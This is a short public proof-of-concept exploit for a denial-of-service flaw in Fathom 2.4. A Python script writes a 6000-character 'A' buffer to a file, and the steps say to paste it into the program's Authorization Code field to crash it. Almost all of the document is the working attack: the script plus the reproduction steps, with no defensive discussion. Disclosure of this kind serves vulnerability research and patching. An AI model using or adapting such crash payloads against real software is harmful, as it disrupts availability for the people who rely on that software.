Exploit Title: Fathom 2.4 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-28
# Homepage: https://fathom.concord.org/
# Software Link: https://fathom.concord.org/download/
# Tested Version: v2.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". 
# Now start the program, in the field named: "Authorization Code" paste the "exploit.txt" content copied eariler.
# Click "Activate" and see a crash! 
 
#!/usr/bin/python
    
buffer = "A" * 6000
 
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"